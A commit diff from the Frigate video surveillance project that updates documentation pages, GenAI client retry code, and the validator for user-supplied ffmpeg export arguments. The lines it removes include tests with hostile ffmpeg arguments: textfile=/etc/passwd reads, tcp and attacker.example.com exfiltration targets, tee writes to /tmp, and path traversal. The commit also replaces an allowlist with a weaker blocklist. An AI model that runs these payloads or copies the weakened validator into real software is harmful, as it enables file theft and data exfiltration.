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Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3ce223e062 |
@@ -6,16 +6,10 @@ import NavPath from "@site/src/components/NavPath";
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In addition to Frigate's Live camera dashboard, Birdseye allows a portable heads-up view of your cameras to see what is going on around your property / space without having to watch all cameras that may have nothing happening. Birdseye allows specific modes that intelligently show and disappear based on what you care about.
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Birdseye can be viewed by adding the "Birdseye" camera to a Camera Group in the Web UI. Add a Camera Group by pressing the pencil icon in the sidebar on the Live page, and choose "Birdseye" as one of the cameras.
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Birdseye can be viewed by adding the "Birdseye" camera to a Camera Group in the Web UI. Add a Camera Group by pressing the "+" icon on the Live page, and choose "Birdseye" as one of the cameras.
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Birdseye can also be used in Home Assistant dashboards, cast to media devices, etc.
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:::note
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Each camera tile in Birdseye is composed from the frames of the stream assigned the `detect` role, so a camera's image quality in Birdseye matches its detect stream resolution rather than a higher-resolution recording stream. If a camera looks low quality in Birdseye, increasing the detect width and height (or assigning the `detect` role to a higher-resolution stream) is what affects it. See [setting up camera inputs](./cameras.md#setting-up-camera-inputs) for how roles are assigned.
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:::
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## Birdseye Behavior
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### Birdseye Modes
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@@ -41,10 +35,10 @@ To include a camera in Birdseye view only for specific circumstances, or exclude
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**Per-camera overrides:** Navigate to <NavPath path="Settings > Camera configuration > Birdseye" /> to override the mode or disable Birdseye for a specific camera.
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| Field | Description |
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| ------------------- | ------------------------------------------------------------- |
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| **Enable Birdseye** | Whether this camera appears in Birdseye view |
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| **Tracking mode** | When to show the camera: `continuous`, `motion`, or `objects` |
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| Field | Description |
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|-------|-------------|
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| **Enable Birdseye** | Whether this camera appears in Birdseye view |
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| **Tracking mode** | When to show the camera: `continuous`, `motion`, or `objects` |
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</TabItem>
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<TabItem value="yaml">
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@@ -78,8 +72,8 @@ By default birdseye shows all cameras that have had the configured activity in t
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Navigate to <NavPath path="Settings > System > Birdseye" />.
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| Field | Description |
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| ------------------------ | --------------------------------------------------------------------------- |
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| Field | Description |
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|-------|-------------|
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| **Inactivity threshold** | Seconds of inactivity before a camera is hidden from Birdseye (default: 30) |
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</TabItem>
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@@ -106,9 +100,9 @@ The resolution and aspect ratio of birdseye can be configured. Resolution will i
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Navigate to <NavPath path="Settings > System > Birdseye" />.
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| Field | Description |
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| ---------- | ----------------------------------------------- |
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| **Width** | Birdseye output width in pixels (default: 1280) |
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| Field | Description |
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|-------|-------------|
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| **Width** | Birdseye output width in pixels (default: 1280) |
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| **Height** | Birdseye output height in pixels (default: 720) |
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</TabItem>
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@@ -167,8 +161,8 @@ It is possible to limit the number of cameras shown on birdseye at one time. Whe
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Navigate to <NavPath path="Settings > System > Birdseye" />.
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| Field | Description |
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| ------------------------ | ----------------------------------------------------------------------------------- |
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| Field | Description |
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|-------|-------------|
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| **Layout > Max cameras** | Maximum number of cameras shown at once (e.g., `1` for only the most active camera) |
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</TabItem>
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@@ -193,8 +187,8 @@ By default birdseye tries to fit 2 cameras in each row and then double in size u
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Navigate to <NavPath path="Settings > System > Birdseye" />.
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| Field | Description |
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| --------------------------- | -------------------------------------------------------- |
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| Field | Description |
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|-------|-------------|
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| **Layout > Scaling factor** | Camera scaling factor between 1.0 and 5.0 (default: 2.0) |
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</TabItem>
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@@ -9,54 +9,11 @@ import NavPath from "@site/src/components/NavPath";
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Frigate can be configured through the **Settings UI** or by editing the YAML configuration file directly. The Settings UI is the recommended approach — it provides validation and a guided experience for all configuration options.
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## Using the Settings UI
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The Settings UI groups every configuration option into sections that are listed in the left-hand menu. Each section presents a guided form with validation, so you don't need to remember the structure of the YAML or look up option names by hand.
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### Global vs. camera-level configuration
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Settings are organized into two scopes:
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- **Global configuration** — values under <NavPath path="Settings > Global configuration" /> apply to every camera by default. This is where you set the baseline behavior for object detection, recording, snapshots, motion, and so on.
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- **Camera configuration** — values under <NavPath path="Settings > Camera configuration" /> apply to a single camera. Use the camera selector button at the top of these pages to choose which camera you are editing.
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When a camera-level section is left untouched, the camera simply inherits the global values. Changing a value on a camera page **overrides** the global value for that camera only — the global setting and every other camera are unaffected. This mirrors how the YAML works, where a value set under `cameras.<name>` takes precedence over the same value set at the top level.
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To undo an override and go back to inheriting from the parent scope, use the reset button at the bottom of the section:
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- On a camera section, the button is labeled **Reset to Global** and restores the camera to the global value.
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- On a global section, the button is labeled **Reset to Default** and restores Frigate's built-in default.
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Resetting asks for confirmation and cannot be undone once applied.
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### Saving changes and the Save All button
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Edits are not applied until you save them. As soon as you change a value, the UI tracks it as a pending change:
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- The edited section shows a **Modified** badge, and the changed fields are highlighted.
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- A **You have unsaved changes** notice appears above the section's **Save** and **Undo** buttons. **Save** commits just that section; **Undo** discards its pending edits.
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Because pending changes can span multiple sections — and multiple cameras — the header provides a **Save All** button that writes every pending change at once. Next to it, **Review pending changes** opens a summary that lists each pending edit with its scope (Global or a specific camera), the affected field, and the new value, so you can confirm exactly what will be written before committing. **Undo All** discards every pending change across all sections.
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### Restart-required indicators
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Most settings take effect immediately, but some require Frigate to restart before they apply. Fields that require a restart are marked with a small restart icon and a **Restart required** tooltip next to the field label.
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When you save a change that touches one of these fields, Frigate confirms the save and reminds you that a restart is needed (for example, _"Settings saved successfully. Restart Frigate to apply your changes."_). The notification includes a one-click **Restart Frigate** action so you can apply the change right away, or you can continue editing and restart later.
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### The colored dots in the camera configuration menu
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When you are working under <NavPath path="Settings > Camera configuration" />, small colored dots can appear next to a section's name in the menu. They give you an at-a-glance summary of that section's state for the selected camera:
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- **Blue dot** — this section **overrides the global configuration**. One or more values in the section have been set specifically for this camera and differ from the global defaults.
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- **Profile-colored dot** — when you are viewing a [camera profile](./profiles.md), a dot in that profile's assigned color indicates the section is **overridden by that profile**. Each profile is given its own distinct color so you can tell at a glance which sections it changes.
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- **Amber dot** — this section has **unsaved changes**. It appears alongside the **Modified** badge whenever you have pending edits in the section that haven't been saved yet.
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Hover over any dot to see a tooltip describing what it means. Open a section to see exactly which fields are overridden — the section header indicates how many fields differ from the global (or base) configuration.
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It is recommended to start with a minimal configuration and add to it as described in [the getting started guide](../guides/getting_started.md).
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## Configuration File Location
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For users who prefer to edit the YAML configuration file directly, it is recommended to start with a minimal configuration and add to it as described in [the getting started guide](../guides/getting_started.md).
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For users who prefer to edit the YAML configuration file directly:
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- **Home Assistant App:** `/addon_configs/<addon_directory>/config.yml` — see [directory list](#accessing-app-config-dir)
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- **All other installations:** Map to `/config/config.yml` inside the container
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@@ -371,7 +371,7 @@ When your browser runs into problems playing back your camera streams, it will l
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- Verify your camera's H.264/AAC settings (see [Frigate's camera settings recommendations](#camera-settings-recommendations)).
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- Check go2rtc configuration for transcoding (e.g., audio to AAC/OPUS).
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- Test with a different stream via the UI dropdown (if `live -> streams` is configured).
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- For WebRTC-specific issues, ensure port 8555 is forwarded and candidates are set (see [WebRTC Extra Configuration](#webrtc-extra-configuration)).
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- For WebRTC-specific issues, ensure port 8555 is forwarded and candidates are set (see (WebRTC Extra Configuration)(#webrtc-extra-configuration)).
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- If your cameras are streaming at a high resolution, your browser may be struggling to load all of the streams before the buffering timeout occurs. Frigate prioritizes showing a true live view as quickly as possible. If the fallback occurs often, change your live view settings to use a lower bandwidth substream.
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3. **It doesn't seem like my cameras are streaming on the Live dashboard. Why?**
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@@ -8,13 +8,10 @@ import ConfigTabs from "@site/src/components/ConfigTabs";
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import TabItem from "@theme/TabItem";
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import NavPath from "@site/src/components/NavPath";
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|
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### Supported hardware
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Object detection is what allows Frigate to identify _what_ is in your camera's view — people, cars, animals, and more — rather than just reacting to pixel changes. When Frigate's motion detection finds activity in a frame, that region is sent to an **object detector**, which returns the objects it recognizes along with their location and a confidence score. These detections are what drive tracked objects, alerts, detections, and notifications.
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Object detection is computationally intensive, so Frigate is designed to run it on a dedicated AI accelerator or GPU rather than the CPU. A **detector** is the specific hardware-and-model backend Frigate uses to run inference. Choosing a detector that matches your hardware is one of the most important steps in getting good performance, and the right choice depends on what device Frigate is running on.
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# Supported Hardware
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:::info
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Frigate supports multiple different detectors that work on different types of hardware:
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**Most Hardware**
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@@ -7,17 +7,13 @@ import ConfigTabs from "@site/src/components/ConfigTabs";
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import TabItem from "@theme/TabItem";
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import NavPath from "@site/src/components/NavPath";
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A snapshot is a single still image that captures a tracked object at its best moment — the clearest frame Frigate saw while following that object across the scene. Unlike a [recording](./record.md), which is continuous video, a snapshot is one representative image saved per tracked object once tracking ends.
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Frigate can save a snapshot image to `/media/frigate/clips` for each object that is detected named as `<camera>-<id>-clean.webp`. They are also accessible [via the api](../integrations/api/event-snapshot-events-event-id-snapshot-jpg-get.api.mdx)
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|
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When snapshots are enabled, Frigate saves one image to `/media/frigate/clips` for each tracked object, named `<camera>-<id>-clean.webp`. A clean image is always stored without any annotations (no timestamp, bounding boxes, or cropping) so you have an unmodified copy of the original frame. Annotations like bounding boxes and timestamps are applied on demand when a snapshot is requested [via the HTTP API](../integrations/api/event-snapshot-events-event-id-snapshot-jpg-get.api.mdx) — see [Rendering](#rendering) below.
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Snapshots are accessible in the UI in the Explore pane. This allows for quick submission to the Frigate+ service.
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A few things to keep in mind:
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To only save snapshots for objects that enter a specific zone, [see the zone docs](./zones.md#restricting-snapshots-to-specific-zones)
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- Snapshots are saved per tracked object, so a camera with no detected objects produces no snapshots even if recording is enabled.
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- Snapshots and recordings are configured and retained independently — enabling one does not enable the other.
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- Snapshots are accessible in the UI in the Explore pane, which allows for quick submission to the Frigate+ service.
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- To only save snapshots for objects that enter a specific zone, [see the zone docs](./zones.md#restricting-snapshots-to-specific-zones).
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- Snapshots sent via MQTT are configured separately under the camera MQTT settings, not here.
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Snapshots sent via MQTT are configured separately under the camera MQTT settings, not here.
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## Enabling Snapshots
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@@ -19,12 +19,6 @@ You can open History from several places:
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Use the **Back** button to return where you came from, or the **Live** button to jump to the current camera's live view.
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:::tip
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If you see **"No recordings found for this time"**, the most common causes are: recording was not enabled for that camera at the time of the event; the retention window has since expired and those segments were removed; or storage ran low and Frigate deleted them early to free space. See [Recording](/configuration/record) to verify your retention settings.
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:::
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## Timeline, Events, and Detail
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A toggle (a drawer on mobile) switches the side panel between three modes:
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@@ -11,7 +11,7 @@ This page describes how to _use_ the Live view. For how to _configure_ live stre
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## The dashboard at a glance
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The default **All Cameras** dashboard shows every camera, with a filmstrip of recent **alerts** scrolling across the top. Clicking an alert opens it in [Review](/usage/review); each card also has a check button to mark it reviewed without leaving the dashboard. Only **alerts** appear in the filmstrip — to suppress a label or zone from showing there, configure it as a detection instead (see [Alerts and Detections](/configuration/review#alerts-and-detections)).
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The default **All Cameras** dashboard shows every camera, with a filmstrip of recent **alerts** scrolling across the top. Clicking an alert opens it in [Review](/usage/review); each card also has a check button to mark it reviewed without leaving the dashboard.
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|
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By default Frigate uses **smart streaming**: a camera's image updates roughly once per minute while nothing is happening, and switches to a full live stream the moment activity is detected. This conserves bandwidth and resources. You can change this per camera or per group (see [Streaming settings](#streaming-settings-and-the-right-click-menu) below), and the behavior is explained in detail under [Live view technologies](/configuration/live#live-view-technologies).
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@@ -58,7 +58,7 @@ You can optionally overlay live streaming statistics (stream type, bandwidth, la
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|
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## Streaming settings and the right-click menu
|
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|
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Right-clicking (or long-pressing) a camera tile opens a context menu with quick controls: an **audio volume** control for streams that support audio, **Mute / Unmute all cameras**, **show or hide streaming statistics**, the **debug view**, **notification** options, and — for admins — turning the camera on or off. If the audio control doesn't appear, see [Audio Support](/configuration/live#audio-support) — audio requires go2rtc configured with a compatible codec.
|
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Right-clicking (or long-pressing) a camera tile opens a context menu with quick controls: an **audio volume** control for streams that support audio, **Mute / Unmute all cameras**, **show or hide streaming statistics**, the **debug view**, **notification** options, and — for admins — turning the camera on or off.
|
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|
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A **Low-bandwidth mode** notice may also appear in the context menu with a **Reset** option appears when Frigate has fallen back to the lower-quality jsmpeg stream — see the [Live view FAQ](/configuration/live#live-view-faq) for why this happens.
|
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|
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|
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@@ -11,7 +11,7 @@ This page describes how to _use_ the Review view. For how alerts and detections
|
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|
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:::info
|
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|
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Review items are only created for a camera when **object tracking and recording are enabled** for that camera. See [Recording](/configuration/record).
|
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Review items are only created for a camera when **recording is enabled** for that camera. See [Recording](/configuration/record).
|
||||
|
||||
:::
|
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|
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@@ -39,7 +39,7 @@ Review items are shown as a grid of thumbnail cards next to a vertical activity
|
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- The object chip on each card is **gray** when the item is unreviewed and turns **green** once it has been reviewed.
|
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- The **Mark these items as reviewed** button marks everything currently shown as reviewed at once.
|
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|
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Reviewed state is tracked per user, so marking an item reviewed does not hide it for other users. Marking an item reviewed does not delete anything — the footage and the review item itself remain until they expire via retention.
|
||||
Reviewed state is tracked per user, so marking an item reviewed does not hide it for other users.
|
||||
|
||||
## Selecting and acting on multiple items
|
||||
|
||||
|
||||
@@ -5,7 +5,6 @@ import json
|
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import logging
|
||||
import os
|
||||
import re
|
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import time
|
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from typing import Any, AsyncGenerator, Callable, Optional
|
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|
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import numpy as np
|
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@@ -51,10 +50,6 @@ def register_genai_provider(key: GenAIProviderEnum) -> Callable:
|
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class GenAIClient:
|
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"""Generative AI client for Frigate."""
|
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|
||||
# Minimum seconds between re-initialization attempts when the provider was
|
||||
# offline at startup
|
||||
REINIT_INTERVAL = 60.0
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
genai_config: GenAIConfig,
|
||||
@@ -65,34 +60,6 @@ class GenAIClient:
|
||||
self.timeout = timeout
|
||||
self.validate_model = validate_model
|
||||
self.provider = self._init_provider()
|
||||
self._last_init_attempt = time.monotonic()
|
||||
|
||||
def ensure_provider(self) -> bool:
|
||||
"""Ensure a provider is available, retrying initialization if needed.
|
||||
|
||||
Providers can fail to initialize at startup when their backing service
|
||||
isn't online yet (common when both are started together). This retries
|
||||
``_init_provider`` lazily — throttled to ``REINIT_INTERVAL`` — so the
|
||||
client recovers on its own once the service is reachable, without a
|
||||
config reload.
|
||||
|
||||
Returns True if a provider is available.
|
||||
"""
|
||||
if self.provider is not None:
|
||||
return True
|
||||
|
||||
now = time.monotonic()
|
||||
if now - self._last_init_attempt < self.REINIT_INTERVAL:
|
||||
return False
|
||||
|
||||
self._last_init_attempt = now
|
||||
self.provider = self._init_provider()
|
||||
if self.provider is not None:
|
||||
logger.info(
|
||||
"GenAI provider %s is now available",
|
||||
self.genai_config.provider,
|
||||
)
|
||||
return self.provider is not None
|
||||
|
||||
def generate_review_description(
|
||||
self,
|
||||
|
||||
@@ -62,9 +62,7 @@ class GenAIClientManager:
|
||||
def _get_client(self, name: str) -> "Optional[GenAIClient]":
|
||||
"""Return the client for *name*, creating it on first access."""
|
||||
if name in self._clients:
|
||||
client = self._clients[name]
|
||||
client.ensure_provider()
|
||||
return client
|
||||
return self._clients[name]
|
||||
|
||||
from frigate.genai import PROVIDERS
|
||||
|
||||
@@ -80,7 +78,7 @@ class GenAIClientManager:
|
||||
return None
|
||||
|
||||
try:
|
||||
client = provider_cls(genai_cfg)
|
||||
client: "GenAIClient" = provider_cls(genai_cfg)
|
||||
except Exception as e:
|
||||
logger.exception(
|
||||
"Failed to create GenAI client for provider %s: %s",
|
||||
|
||||
+37
-132
@@ -42,118 +42,33 @@ TIMELAPSE_DATA_INPUT_ARGS = "-an -skip_frame nokey"
|
||||
# Captures the floating-point factor so we can scale expected duration.
|
||||
SETPTS_FACTOR_RE = re.compile(r"setpts=([0-9]*\.?[0-9]+)\*PTS")
|
||||
|
||||
# Allowlisted flags that take no value.
|
||||
_VALUELESS_FLAGS = frozenset({"-an", "-sn", "-dn"})
|
||||
|
||||
# Allowlisted filter flags. Their value is validated as a filtergraph and may
|
||||
# only reference filters in _SAFE_FILTERS.
|
||||
_FILTER_FLAGS = frozenset({"-vf", "-af", "-filter"})
|
||||
|
||||
# Allowlisted flags that take exactly one value (encoder / muxer-safe options).
|
||||
_VALUE_FLAGS = frozenset(
|
||||
# ffmpeg flags that can read from or write to arbitrary files
|
||||
BLOCKED_FFMPEG_ARGS = frozenset(
|
||||
{
|
||||
"-c",
|
||||
"-codec",
|
||||
"-b",
|
||||
"-crf",
|
||||
"-qp",
|
||||
"-q",
|
||||
"-qscale",
|
||||
"-preset",
|
||||
"-tune",
|
||||
"-profile",
|
||||
"-level",
|
||||
"-pix_fmt",
|
||||
"-r",
|
||||
"-g",
|
||||
"-keyint_min",
|
||||
"-sc_threshold",
|
||||
"-bf",
|
||||
"-refs",
|
||||
"-qmin",
|
||||
"-qmax",
|
||||
"-maxrate",
|
||||
"-minrate",
|
||||
"-bufsize",
|
||||
"-movflags",
|
||||
"-threads",
|
||||
"-aspect",
|
||||
"-fps_mode",
|
||||
"-vsync",
|
||||
"-skip_frame",
|
||||
"-i",
|
||||
"-filter_script",
|
||||
"-filter_complex",
|
||||
"-lavfi",
|
||||
"-vf",
|
||||
"-af",
|
||||
"-filter",
|
||||
"-vstats_file",
|
||||
"-passlogfile",
|
||||
"-sdp_file",
|
||||
"-dump_attachment",
|
||||
"-attach",
|
||||
}
|
||||
)
|
||||
|
||||
_ALLOWED_FLAGS = _VALUELESS_FLAGS | _FILTER_FLAGS | _VALUE_FLAGS
|
||||
|
||||
# Filters that cannot read files, load plugins, or open network sources.
|
||||
_SAFE_FILTERS = frozenset(
|
||||
{
|
||||
"setpts",
|
||||
"fps",
|
||||
"scale",
|
||||
"format",
|
||||
"transpose",
|
||||
"hflip",
|
||||
"vflip",
|
||||
"crop",
|
||||
"pad",
|
||||
"setsar",
|
||||
"setdar",
|
||||
}
|
||||
)
|
||||
|
||||
# Conservative shape for a non-filter flag value. Excludes "/" (paths /
|
||||
# filtergraph division), whitespace, brackets, and a leading "-" so a value
|
||||
# can never be a path or swallow a following flag. ":" is permitted for values
|
||||
# like "16:9".
|
||||
_SAFE_VALUE_RE = re.compile(r"^[A-Za-z0-9_.:+][A-Za-z0-9_.:+-]*$")
|
||||
|
||||
# Substrings inside a filtergraph that indicate a file-reading filter option.
|
||||
# "movie=" also matches "amovie=" as a substring.
|
||||
_BLOCKED_FILTER_VALUE_MARKERS = ("movie=", "textfile=", "filename=", "fontfile=")
|
||||
|
||||
|
||||
def _base_flag(token: str) -> str:
|
||||
"""Return a flag's base name, lowercased and without its stream specifier.
|
||||
|
||||
e.g. "-c:v" -> "-c", "-filter:a:0" -> "-filter".
|
||||
"""
|
||||
return token.lower().split(":", 1)[0]
|
||||
|
||||
|
||||
def _validate_filtergraph(value: str) -> tuple[bool, str]:
|
||||
"""Validate a filtergraph value, allowing only filters in _SAFE_FILTERS."""
|
||||
# None of the safe filters need any of these
|
||||
if any(token in value for token in ("://", "..", "[", "]")):
|
||||
return False, "Invalid filter graph in custom ffmpeg arguments"
|
||||
|
||||
lowered = value.lower()
|
||||
if any(marker in lowered for marker in _BLOCKED_FILTER_VALUE_MARKERS):
|
||||
return False, "File-reading filters are not allowed in custom ffmpeg arguments"
|
||||
|
||||
# Filters are separated by "," within a chain and ";" between chains. Safe
|
||||
# filters never use unescaped "," or ";" in their arguments, so splitting on
|
||||
# them to recover filter names cannot hide a disallowed filter.
|
||||
for spec in re.split(r"[;,]", value):
|
||||
spec = spec.strip()
|
||||
if not spec:
|
||||
continue
|
||||
|
||||
name = spec.split("=", 1)[0].strip().lower()
|
||||
if name not in _SAFE_FILTERS:
|
||||
return False, f"Filter not allowed in custom ffmpeg arguments: {name}"
|
||||
|
||||
return True, ""
|
||||
|
||||
|
||||
def validate_ffmpeg_args(args: str) -> tuple[bool, str]:
|
||||
"""Validate user-provided custom export ffmpeg args with an allowlist.
|
||||
"""Validate that user-provided ffmpeg args don't allow input/output injection.
|
||||
|
||||
Every token must be an allowlisted flag or the value of one; filter values
|
||||
may only reference safe filters; and no token may become a bare input or
|
||||
output URL. This structurally prevents arbitrary file read/write, network
|
||||
exfiltration/SSRF, and resource-exhaustion via the export endpoint.
|
||||
Blocks:
|
||||
- The -i flag and other flags that read/write arbitrary files
|
||||
- Filter flags (can read files via movie=/amovie= source filters)
|
||||
- Absolute/relative file paths (potential extra outputs)
|
||||
- URLs and ffmpeg protocol references (data exfiltration)
|
||||
|
||||
Admin users skip this validation entirely since they are trusted.
|
||||
"""
|
||||
@@ -161,36 +76,26 @@ def validate_ffmpeg_args(args: str) -> tuple[bool, str]:
|
||||
return True, ""
|
||||
|
||||
tokens = args.split()
|
||||
i = 0
|
||||
while i < len(tokens):
|
||||
token = tokens[i]
|
||||
|
||||
# A bare (non-flag) token here would be parsed by ffmpeg as an input or
|
||||
# output URL. Only the server sets inputs/outputs, never the user.
|
||||
if not token.startswith("-"):
|
||||
return False, f"Unexpected argument in custom ffmpeg arguments: {token}"
|
||||
|
||||
base = _base_flag(token)
|
||||
if base not in _ALLOWED_FLAGS:
|
||||
for token in tokens:
|
||||
# Block flags that could inject inputs or write to arbitrary files
|
||||
if token.lower() in BLOCKED_FFMPEG_ARGS:
|
||||
return False, f"Forbidden ffmpeg argument: {token}"
|
||||
|
||||
if base in _VALUELESS_FLAGS:
|
||||
i += 1
|
||||
continue
|
||||
# Block tokens that look like file paths (potential output injection)
|
||||
if (
|
||||
token.startswith("/")
|
||||
or token.startswith("./")
|
||||
or token.startswith("../")
|
||||
or token.startswith("~")
|
||||
):
|
||||
return False, "File paths are not allowed in custom ffmpeg arguments"
|
||||
|
||||
# Remaining flags consume exactly one value.
|
||||
if i + 1 >= len(tokens):
|
||||
return False, f"Missing value for ffmpeg argument: {token}"
|
||||
|
||||
value = tokens[i + 1]
|
||||
if base in _FILTER_FLAGS:
|
||||
valid, message = _validate_filtergraph(value)
|
||||
if not valid:
|
||||
return False, message
|
||||
elif not _SAFE_VALUE_RE.match(value):
|
||||
return False, f"Invalid value for {token}: {value}"
|
||||
|
||||
i += 2
|
||||
# Block URLs and ffmpeg protocol references (e.g. http://, tcp://, pipe:, file:)
|
||||
if "://" in token or token.startswith("pipe:") or token.startswith("file:"):
|
||||
return (
|
||||
False,
|
||||
"Protocol references are not allowed in custom ffmpeg arguments",
|
||||
)
|
||||
|
||||
return True, ""
|
||||
|
||||
|
||||
@@ -1,132 +0,0 @@
|
||||
import unittest
|
||||
|
||||
from frigate.record.export import validate_ffmpeg_args
|
||||
|
||||
|
||||
class TestValidateFfmpegArgs(unittest.TestCase):
|
||||
"""Tests for the non-admin custom export ffmpeg arg validator.
|
||||
|
||||
The validator uses a structural allowlist: every token must be an
|
||||
allowlisted flag or the value of one, filter values are restricted to a
|
||||
safe set of filters, and no token may become a bare input/output URL.
|
||||
"""
|
||||
|
||||
def assertRejected(self, args: str) -> None:
|
||||
valid, message = validate_ffmpeg_args(args)
|
||||
self.assertFalse(valid, f"expected {args!r} to be rejected")
|
||||
self.assertNotEqual(message, "")
|
||||
|
||||
def assertAllowed(self, args: str) -> None:
|
||||
valid, message = validate_ffmpeg_args(args)
|
||||
self.assertTrue(valid, f"expected {args!r} to be allowed, got: {message}")
|
||||
self.assertEqual(message, "")
|
||||
|
||||
# --- legitimate use cases must keep working ---------------------------
|
||||
|
||||
def test_timelapse_setpts_allowed(self):
|
||||
# The whole reason -vf cannot simply be blocked: timelapse exports.
|
||||
self.assertAllowed("-vf setpts=PTS/60 -r 25")
|
||||
self.assertAllowed("-vf setpts=0.04*PTS -r 30") # server default
|
||||
self.assertAllowed("-filter:v setpts=PTS/60 -r 25")
|
||||
|
||||
def test_default_input_args_allowed(self):
|
||||
self.assertAllowed("")
|
||||
self.assertAllowed("-an -skip_frame nokey")
|
||||
|
||||
def test_encoding_args_allowed(self):
|
||||
self.assertAllowed("-c:v libx264 -crf 23 -preset fast")
|
||||
self.assertAllowed("-c:v copy -c:a copy")
|
||||
self.assertAllowed("-c:v libx264 -b:v 2M -maxrate 2M -bufsize 4M")
|
||||
self.assertAllowed("-movflags +faststart")
|
||||
self.assertAllowed("-pix_fmt yuv420p -r 30 -g 30")
|
||||
|
||||
def test_safe_filters_allowed(self):
|
||||
self.assertAllowed("-vf scale=640:480")
|
||||
self.assertAllowed("-vf scale=640:480,setpts=0.5*PTS")
|
||||
self.assertAllowed("-vf format=yuv420p")
|
||||
self.assertAllowed("-vf transpose=1")
|
||||
self.assertAllowed("-vf hflip")
|
||||
self.assertAllowed("-vf fps=15")
|
||||
self.assertAllowed("-vf setsar=1 -an")
|
||||
self.assertAllowed("-vf setdar=16/9")
|
||||
|
||||
# --- the reported advisory and file-read class ------------------------
|
||||
|
||||
def test_reported_advisory_rejected(self):
|
||||
self.assertRejected(
|
||||
"-filter:v drawtext=textfile=/etc/passwd:fontcolor=white:fontsize=20"
|
||||
)
|
||||
|
||||
def test_file_reading_filters_rejected(self):
|
||||
self.assertRejected("-vf movie=/etc/passwd")
|
||||
self.assertRejected("-vf drawtext=textfile=/etc/passwd")
|
||||
self.assertRejected("-vf subtitles=/etc/passwd")
|
||||
# marker embedded as an option of an otherwise-allowed filter name
|
||||
self.assertRejected("-vf scale=movie=/etc/passwd")
|
||||
|
||||
def test_filtergraph_brackets_rejected(self):
|
||||
# link labels aren't needed for safe filters; rejecting "[" / "]" keeps
|
||||
# filtergraph validation linear (no ReDoS on attacker input)
|
||||
self.assertRejected("-vf [in]scale=640:480[out]")
|
||||
self.assertRejected("-vf " + "[" * 5000)
|
||||
|
||||
def test_preset_file_read_rejected(self):
|
||||
# cwd-anchored traversal slipped past the old startswith() path check
|
||||
self.assertRejected("-fpre frigate/../../../etc/passwd")
|
||||
self.assertRejected("-fpre evil.preset")
|
||||
self.assertRejected("-vpre x")
|
||||
self.assertRejected("-apre x")
|
||||
self.assertRejected("-pre x")
|
||||
|
||||
def test_slash_option_file_read_rejected(self):
|
||||
# ffmpeg "-/option file" reads the option value from a file
|
||||
self.assertRejected("-/filter:v graph.txt")
|
||||
self.assertRejected("-/filter_complex graph.txt")
|
||||
|
||||
# --- network / SSRF class ---------------------------------------------
|
||||
|
||||
def test_schemeless_protocol_rejected(self):
|
||||
self.assertRejected("-f mpegts tcp:10.0.0.5:4444")
|
||||
self.assertRejected("tcp:10.0.0.5:4444")
|
||||
self.assertRejected("udp:10.0.0.5:4444")
|
||||
self.assertRejected("-progress http:attacker.example.com:80/p")
|
||||
|
||||
# --- file-write class --------------------------------------------------
|
||||
|
||||
def test_tee_write_rejected(self):
|
||||
self.assertRejected("-c:v libx264 -map 0 -f tee [f=mpegts]/tmp/owned.ts")
|
||||
self.assertRejected("-f tee [f=mpegts]/etc/frigate/x.ts")
|
||||
self.assertRejected("tee:/tmp/x")
|
||||
|
||||
def test_bare_output_token_rejected(self):
|
||||
self.assertRejected("evil.mp4")
|
||||
self.assertRejected("-c copy evil.mp4")
|
||||
self.assertRejected("x/../escaped.mkv")
|
||||
|
||||
def test_file_producing_muxers_rejected(self):
|
||||
self.assertRejected("-f hls -hls_segment_filename pwn%03d.ts out.m3u8")
|
||||
self.assertRejected("-f md5 victim.txt")
|
||||
self.assertRejected("-f segment seg%03d.ts")
|
||||
|
||||
def test_write_flags_rejected(self):
|
||||
self.assertRejected("-progress evil.log")
|
||||
self.assertRejected("-stats_enc_pre evil.csv")
|
||||
self.assertRejected("-report")
|
||||
|
||||
# --- resource exhaustion / misc ---------------------------------------
|
||||
|
||||
def test_dos_input_flags_rejected(self):
|
||||
self.assertRejected("-stream_loop -1")
|
||||
self.assertRejected("-readrate 0.001")
|
||||
|
||||
def test_disallowed_flags_rejected(self):
|
||||
self.assertRejected("-map 0")
|
||||
self.assertRejected("-i /etc/passwd")
|
||||
self.assertRejected("-attach evil.bin")
|
||||
self.assertRejected("-dump_attachment evil.bin")
|
||||
self.assertRejected("/etc/passwd")
|
||||
self.assertRejected("-metadata comment=x")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Generated
+1039
-1330
File diff suppressed because it is too large
Load Diff
+4
-4
@@ -114,8 +114,8 @@
|
||||
"@types/strftime": "^0.9.8",
|
||||
"@typescript-eslint/eslint-plugin": "^7.5.0",
|
||||
"@typescript-eslint/parser": "^7.5.0",
|
||||
"@vitejs/plugin-react-swc": "^3.8.0",
|
||||
"@vitest/coverage-v8": "^3.0.7",
|
||||
"@vitejs/plugin-react-swc": "^4.3.1",
|
||||
"@vitest/coverage-v8": "^4.1.8",
|
||||
"autoprefixer": "^10.4.20",
|
||||
"eslint": "^8.57.0",
|
||||
"eslint-config-prettier": "^9.1.0",
|
||||
@@ -136,8 +136,8 @@
|
||||
"prettier-plugin-tailwindcss": "^0.6.5",
|
||||
"tailwindcss": "^3.4.9",
|
||||
"typescript": "^5.9.3",
|
||||
"vite": "^6.4.2",
|
||||
"vitest": "^3.0.7"
|
||||
"vite": "^8.0.16",
|
||||
"vitest": "^4.1.8"
|
||||
},
|
||||
"overrides": {
|
||||
"@radix-ui/react-compose-refs": "1.1.2",
|
||||
|
||||
@@ -592,7 +592,6 @@ export default function LiveDashboardView({
|
||||
resetPreferredLiveMode(camera.name)
|
||||
}
|
||||
config={config}
|
||||
streamMetadata={streamMetadata}
|
||||
>
|
||||
<LivePlayer
|
||||
cameraRef={cameraRef}
|
||||
|
||||
Reference in New Issue
Block a user